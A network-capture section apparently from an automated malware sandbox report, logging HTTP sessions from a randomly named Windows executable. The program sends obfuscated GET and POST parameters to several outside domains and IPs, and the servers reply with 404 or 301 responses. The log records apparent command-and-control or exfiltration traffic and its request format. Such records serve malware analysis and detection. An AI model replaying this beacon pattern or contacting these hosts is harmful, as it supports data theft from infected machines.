                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 44 6e 6b 67 57 76 43 4b 78 51 45 51 62 56 30 76 33 39 51 34 74 71 58 64 50 32 7a 6c 54 30 65 34 48 59 4a 62 56 54 67 48 36 34 62 74 31 70 6c 38 44 31 4c 48 64 48 67 44 48 5a 39 49 67 78 70 57 34 5a 35 56 34 44 4c 77 58 62 36 6f 54 79 36 6b 76 6d 39 50 37 65 69 61 6a 42 51 6c 46 43 65 44 47 79 74 54 7a 42 70 54 59 38 71 57 6c 53 6f 6f 74 4a 44 31 63 34 32 61 4d 78 57 73 67 67 45 63 71 2b 34 46 35 6e 34 4b 71 41 59 2f 2f 38 76 4f 39 74 56 62 37 49 32 38 35 54 76 74 71 46 49 4c 53 2b 54 70 50 59 31 46 4d 53 45 66 56 6d 42 2b 4f 43 68 33 36 52 4d 52 71 33 4c 72 6c 4a 63 52 6b 34 55 69 39 57 4f 6d 62 75 32 57 66 44 68 76 68 64 41 41 37 44 74 66 52 6c 53 70 7a 32 58 4c 78 4f 30 36 59 34 2f 67 72 74 45 47 46 6f 74 35 35 6e 67 6f 51 6f 77 48 54 64 51 4c 70 6b 79 71 69 67 4f 33 52 6b 70 41 7a 74 59 62 32 68 32 38 65 59 66 5a 71 74 2f 55 55 48 45 66 36 33 61 32 7a 2f 41 45 30 39 66 78 41 74 4d 5a 2b 38 36 39 6c 78 46 65 44 4f 38 31 69 76 58 65 72 76 56 45 30 34 52 42 53 52 2f 36 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=2DnkgWvCKxQEQbV0v39Q4tqXdP2zlT0e4HYJbVTgH64bt1pl8D1LHdHgDHZ9IgxpW4Z5V4DLwXb6oTy6kvm9P7eiajBQlFCeDGytTzBpTY8qWlSootJD1c42aMxWsggEcq+4F5n4KqAY//8vO9tVb7I285TvtqFILS+TpPY1FMSEfVmB+OCh36RMRq3LrlJcRk4Ui9WOmbu2WfDhvhdAA7DtfRlSpz2XLxO06Y4/grtEGFot55ngoQowHTdQLpkyqigO3RkpAztYb2h28eYfZqt/UUHEf63a2z/AE09fxAtMZ+869lxFeDO81ivXervVE04RBSR/6+YimTNoM1rX1jKTF2m767dfPsGb8d2ThKB95fSJfmoD4e6UIvAWJK9Cnn8vhplHxxM4rd0dyclPTIvzhcBG+kC+2amQlX1rD0raqk4Vob6ZSrHnjth053y6vDMuCKt6cvdossFwm+hess3x4TEr2NpLRmf1n8X4YBjFHG+DHvnfXnVo2dc54SBgv3S9M3zfjfjwypvAhKFIxud52NAfsQ2sswsfEnPniYp3GT9YdkqRjEdxPfunBgzklPD6a2j2gDseBzG74PO0vHGwqdL4WI7lPkbJTKP2vpP3xp1CjUyB58UCR90ODhMxLlDfEBYYvMwKmfWtsArPpeJsZM+xmmTboztILnpp7SAiqWGqHRZ3ytgJrsK395zqsYw853QydMiaWoCZLU5ok0e3/435UpiJNQDHiK+hNoeyJ1gsyQTy3uVDAhNHx7tycW3KwUw3wYolJ4IWdedkLOAEp8x61tUvbUOfSewnIO9X/KRLQqIh1Ciu069zX60ck51XLZQIj8g3Iwyur7zd0XJS21odVVzjwPXh3olN3b35afpr0sYiaWv5Cx12pqMehGcnPoIQHU2sOvsuGqxBk4J8VnBdSZctTt7neQtbPwaXQSkXj7eKIQJcWixpcHH6O2ZByZzz8rrmy39zHe3Jm0XyaTG0SmMU2iPfplCkjJn [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:46:38.733000040 CEST720INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx/1.26.1
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:38 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Content-Length: 555
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      28192.168.2.665425103.245.25.54804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:40.375197887 CEST517OUTGET /rgqx/?LvYDDv8X=7BPEjiLtAyQ5QJcRm0l8rOqAdtGqsBA/0kteJX7yHKoujHBFhQ1EKsKRG39zbjZVMaI/dszVzFH59H6CuoGgAoTFKjBwnXS8eCKPQRFQVKMXZXqrpPBS9ep2D4hhlBIdKIulBMY=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.kmjai8jf.icu
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:46:41.273627996 CEST720INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx/1.26.1
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:41 GMT
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Content-Length: 555
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.26.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      29192.168.2.6654263.131.150.69804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.328243017 CEST775OUTPOST /qpwk/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.chrisflynn.click
                                                                                                                                                                                                      Origin: http://www.chrisflynn.click
                                                                                                                                                                                                      Referer: http://www.chrisflynn.click/qpwk/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 6d 78 36 71 41 4f 50 63 55 56 76 6a 6f 63 67 6e 47 68 72 59 34 32 64 64 72 43 69 69 6e 63 7a 37 6c 38 32 70 51 37 65 33 74 74 2f 68 78 77 37 7a 6a 61 4a 68 4b 58 4b 37 68 2f 6a 78 67 56 54 48 45 6f 58 6d 4f 6f 6c 6e 48 31 6b 42 2f 73 55 53 4e 6f 4f 37 62 74 4a 64 4d 58 75 69 51 4b 66 76 74 49 71 46 45 79 63 6b 31 46 37 36 32 58 55 56 62 75 78 74 54 74 51 41 78 5a 75 6a 59 6b 36 71 44 34 61 2b 48 56 63 57 32 33 49 30 35 38 69 44 63 4e 52 67 42 44 77 4d 65 62 67 35 75 6d 43 41 6f 4e 2f 6a 62 78 30 47 62 6a 30 73 38 30 68 62 31 44 4a 4c 37 50 63 54 6a 32 70 44 50 55 77 4c 7a 64 74 31 66 66 46 6b 74 78 6a 2f
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=mx6qAOPcUVvjocgnGhrY42ddrCiincz7l82pQ7e3tt/hxw7zjaJhKXK7h/jxgVTHEoXmOolnH1kB/sUSNoO7btJdMXuiQKfvtIqFEyck1F762XUVbuxtTtQAxZujYk6qD4a+HVcW23I058iDcNRgBDwMebg5umCAoN/jbx0Gbj0s80hb1DJL7PcTj2pDPUwLzdt1ffFktxj/
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.812017918 CEST226INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                      Location: https://chrisflynn.click/qpwk/
                                                                                                                                                                                                      Referer: http://www.chrisflynn.click/qpwk/
                                                                                                                                                                                                      X-Redirector-Version: de64cf3
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:46 GMT
                                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                                      Connection: close


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      30192.168.2.6654273.131.150.69804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:48.896451950 CEST799OUTPOST /qpwk/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.chrisflynn.click
                                                                                                                                                                                                      Origin: http://www.chrisflynn.click
                                                                                                                                                                                                      Referer: http://www.chrisflynn.click/qpwk/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 6d 78 36 71 41 4f 50 63 55 56 76 6a 6e 64 51 6e 45 43 7a 59 77 32 64 63 31 79 69 69 73 38 7a 2f 6c 38 4b 70 51 2f 75 6e 74 2f 72 68 77 51 4c 7a 69 62 4a 68 66 58 4b 37 70 66 6a 2b 2f 46 54 4f 45 6f 72 75 4f 74 4e 6e 48 31 77 42 2f 74 6b 53 4f 62 57 30 62 39 4a 66 44 33 75 67 55 4b 66 76 74 49 71 46 45 79 49 4b 31 46 44 36 32 6e 6b 56 62 4d 5a 75 62 4e 51 44 32 5a 75 6a 50 30 36 75 44 34 62 64 48 52 38 73 32 78 55 30 35 39 53 44 64 63 52 6a 49 44 77 4f 44 72 68 4d 2b 55 43 4b 74 66 79 59 46 53 4d 33 48 78 59 36 77 69 67 42 70 77 4a 6f 70 66 38 52 6a 30 78 78 50 30 77 68 78 64 56 31 4e 49 4a 44 69 46 47 63 64 38 6e 5a 65 54 4d 34 71 73 35 6e 46 6f 41 31 42 50 33 33 5a 67 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=mx6qAOPcUVvjndQnECzYw2dc1yiis8z/l8KpQ/unt/rhwQLzibJhfXK7pfj+/FTOEoruOtNnH1wB/tkSObW0b9JfD3ugUKfvtIqFEyIK1FD62nkVbMZubNQD2ZujP06uD4bdHR8s2xU059SDdcRjIDwODrhM+UCKtfyYFSM3HxY6wigBpwJopf8Rj0xxP0whxdV1NIJDiFGcd8nZeTM4qs5nFoA1BP33Zg==
                                                                                                                                                                                                      Oct 9, 2024 14:46:49.396153927 CEST226INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                      Location: https://chrisflynn.click/qpwk/
                                                                                                                                                                                                      Referer: http://www.chrisflynn.click/qpwk/
                                                                                                                                                                                                      X-Redirector-Version: de64cf3
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:49 GMT
                                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                                      Connection: close


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      31192.168.2.6654283.131.150.69804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.443933964 CEST1812OUTPOST /qpwk/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.chrisflynn.click
                                                                                                                                                                                                      Origin: http://www.chrisflynn.click
                                                                                                                                                                                                      Referer: http://www.chrisflynn.click/qpwk/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 6d 78 36 71 41 4f 50 63 55 56 76 6a 6e 64 51 6e 45 43 7a 59 77 32 64 63 31 79 69 69 73 38 7a 2f 6c 38 4b 70 51 2f 75 6e 74 2f 7a 68 78 68 72 7a 6a 38 31 68 5a 6e 4b 37 71 66 6a 39 2f 46 53 4d 45 6f 7a 71 4f 74 4a 33 48 78 41 42 2f 50 73 53 4c 71 57 30 52 39 4a 66 62 48 75 6c 51 4b 65 74 74 4a 61 5a 45 79 59 4b 31 46 44 36 32 6b 38 56 63 65 78 75 64 4e 51 41 78 5a 75 76 59 6b 36 43 44 37 71 6d 48 51 39 4f 31 48 6b 30 34 64 43 44 61 75 35 6a 4a 6a 77 41 43 72 68 55 2b 55 50 51 74 66 75 75 46 54 35 71 48 79 45 36 7a 57 39 66 34 67 4d 75 2f 50 38 38 34 47 35 58 41 79 4d 78 34 2b 46 6f 63 4a 74 66 69 42 32 55 45 34 54 2b 57 77 46 36 74 4f 35 46 50 6f 52 74 55 76 36 54 46 54 63 74 72 61 37 74 6a 5a 4e 76 4e 31 57 31 70 6a 53 36 30 56 4a 58 45 30 30 63 7a 76 35 55 43 72 31 6b 42 43 34 74 64 66 4e 6d 36 51 6e 50 35 30 36 34 74 6e 74 76 43 71 43 71 68 4c 4f 34 73 65 51 75 4e 46 38 68 41 63 63 38 44 35 57 6c 48 65 69 73 58 4f 43 61 6d 32 32 4a 4a 78 77 72 42 37 42 72 31 53 34 64 49 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=mx6qAOPcUVvjndQnECzYw2dc1yiis8z/l8KpQ/unt/zhxhrzj81hZnK7qfj9/FSMEozqOtJ3HxAB/PsSLqW0R9JfbHulQKettJaZEyYK1FD62k8VcexudNQAxZuvYk6CD7qmHQ9O1Hk04dCDau5jJjwACrhU+UPQtfuuFT5qHyE6zW9f4gMu/P884G5XAyMx4+FocJtfiB2UE4T+WwF6tO5FPoRtUv6TFTctra7tjZNvN1W1pjS60VJXE00czv5UCr1kBC4tdfNm6QnP5064tntvCqCqhLO4seQuNF8hAcc8D5WlHeisXOCam22JJxwrB7Br1S4dIKRv+IDfcMmV2j0uh/GIgV85SsHwyhrwgRopNq8FfFU4/kaSCjSP/z1bJ4WZxxHq1WhNDviKx9kBTF2qZGVm2wRRhi00Q5a5jUBfGPX4vPfQ+tYxFIlgRupYZZLF5cv4dfm4HOes2HV+bAfLWId8qca8812u8qx6npJHqUQ/DT/SGRhVUfBhPuEvm9+oqO/qbwGFA9SGRXOmydQEuVxXvmGxdoDHaq6FxNmXjUgQB5OMCQufEX9kjL5irk165jmpL3UQfX8ZtwonSgzLjqW27W+sYQK9IlI8AFevAhWXTa1NejTPgAwAplSVQuRgPK7tXo8oXVS3a5UK6EDZk7swH+axg0+gXJEHj2xi563+nQUCY7lBNZE47V7T9SYg0LZC2bvMK+OFBWRfxLYvZYzsEKY6g/+1AD+jH7s4lXOT/otLX4EPTN4hmr1FuDkl7eI9726Rt9qrXWhZ8c/V9PzCx4LcI9chyaKkMFDwvwep9kyv8Tr+AwQBbw0tLPxHKUjInzGpRxkTuDmNM99/53RH5BzKv4Ft4NL+VOSLj6PZ6IREcxprDbT2eW6F+iWNJ2aA1jeuT4sEWNynooEEnLlbNLVllT11UNlB1zDcjTO7ZC3kMBV9aQx7RKDl7hT8mLOYgrkJ4kj7zLsUtWNBWSzTTXaockaSTAg1OJd [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.960344076 CEST226INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                      Location: https://chrisflynn.click/qpwk/
                                                                                                                                                                                                      Referer: http://www.chrisflynn.click/qpwk/
                                                                                                                                                                                                      X-Redirector-Version: de64cf3
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:51 GMT
                                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                                      Connection: close


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      32192.168.2.6654293.131.150.69804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:53.987412930 CEST521OUTGET /qpwk/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=rzSKD+HLOF/4vupuOiWWjmsTrwmdgPDyrfi1Vf2q0emV4wuToItzNXXVi/mLmmeTOJf+M9JHQVADwuMuJNWKcsQ/aGKDYqyI6ZKHCywjhwnY1HcgFfNvdOxEp+OIaWeoLZGFIBo= HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.chrisflynn.click
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:46:54.486994028 CEST647INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                      Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                      Location: https://chrisflynn.click/qpwk/?LvYDDv8X=rzSKD+HLOF%2F4vupuOiWWjmsTrwmdgPDyrfi1Vf2q0emV4wuToItzNXXVi%2FmLmmeTOJf+M9JHQVADwuMuJNWKcsQ%2FaGKDYqyI6ZKHCywjhwnY1HcgFfNvdOxEp+OIaWeoLZGFIBo%3D&uDe8o=HnM0Zn40QtgXtNk0
                                                                                                                                                                                                      X-Redirector-Version: de64cf3
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:46:54 GMT
                                                                                                                                                                                                      Content-Length: 246
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 68 72 69 73 66 6c 79 6e 6e 2e 63 6c 69 63 6b 2f 71 70 77 6b 2f 3f 4c 76 59 44 44 76 38 58 3d 72 7a 53 4b 44 2b 48 4c 4f 46 25 32 46 34 76 75 70 75 4f 69 57 57 6a 6d 73 54 72 77 6d 64 67 50 44 79 72 66 69 31 56 66 32 71 30 65 6d 56 34 77 75 54 6f 49 74 7a 4e 58 58 56 69 25 32 46 6d 4c 6d 6d 65 54 4f 4a 66 2b 4d 39 4a 48 51 56 41 44 77 75 4d 75 4a 4e 57 4b 63 73 51 25 32 46 61 47 4b 44 59 71 79 49 36 5a 4b 48 43 79 77 6a 68 77 6e 59 31 48 63 67 46 66 4e 76 64 4f 78 45 70 2b 4f 49 61 57 65 6f 4c 5a 47 46 49 42 6f 25 33 44 26 61 6d 70 3b 75 44 65 38 6f 3d 48 6e 4d 30 5a 6e 34 30 51 74 67 58 74 4e 6b 30 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a
                                                                                                                                                                                                      Data Ascii: <a href="https://chrisflynn.click/qpwk/?LvYDDv8X=rzSKD+HLOF%2F4vupuOiWWjmsTrwmdgPDyrfi1Vf2q0emV4wuToItzNXXVi%2FmLmmeTOJf+M9JHQVADwuMuJNWKcsQ%2FaGKDYqyI6ZKHCywjhwnY1HcgFfNvdOxEp+OIaWeoLZGFIBo%3D&amp;uDe8o=HnM0Zn40QtgXtNk0">Moved Permanently</a>.


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      33192.168.2.66543151.89.21.214804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.653820038 CEST775OUTPOST /0or4/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.wanderworld.info
                                                                                                                                                                                                      Origin: http://www.wanderworld.info
                                                                                                                                                                                                      Referer: http://www.wanderworld.info/0or4/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 47 72 52 66 39 61 48 39 64 62 59 34 34 4e 69 48 33 39 37 59 62 4c 4e 2f 71 5a 4c 7a 64 71 7a 32 4a 5a 43 33 2f 4f 71 50 41 55 4d 46 4e 30 6c 45 55 41 30 34 64 4f 57 4a 53 49 70 6a 68 55 6c 62 73 39 42 67 55 5a 58 49 74 44 61 78 43 58 4d 32 44 30 71 38 70 73 41 50 6b 45 32 75 73 58 6a 6f 52 6b 4c 75 37 64 44 5a 32 31 49 42 57 45 43 36 61 61 2b 4c 33 63 78 73 34 42 38 35 51 62 6a 47 59 35 75 5a 79 7a 79 64 41 56 7a 68 69 31 55 49 46 4d 2b 49 71 64 31 41 59 77 73 33 37 76 44 62 59 37 47 62 76 49 4b 4e 6f 4f 78 65 6d 79 4e 37 72 46 39 50 57 35 56 71 2b 43 2f 64 41 63 32 46 47 67 48 70 32 4a 47 49 69 72 74 76
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=GrRf9aH9dbY44NiH397YbLN/qZLzdqz2JZC3/OqPAUMFN0lEUA04dOWJSIpjhUlbs9BgUZXItDaxCXM2D0q8psAPkE2usXjoRkLu7dDZ21IBWEC6aa+L3cxs4B85QbjGY5uZyzydAVzhi1UIFM+Iqd1AYws37vDbY7GbvIKNoOxemyN7rF9PW5Vq+C/dAc2FGgHp2JGIirtv
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604269028 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:00 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                      X-UA-Compatible: IE=edge
                                                                                                                                                                                                      Link: <https://wanderworld.info/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
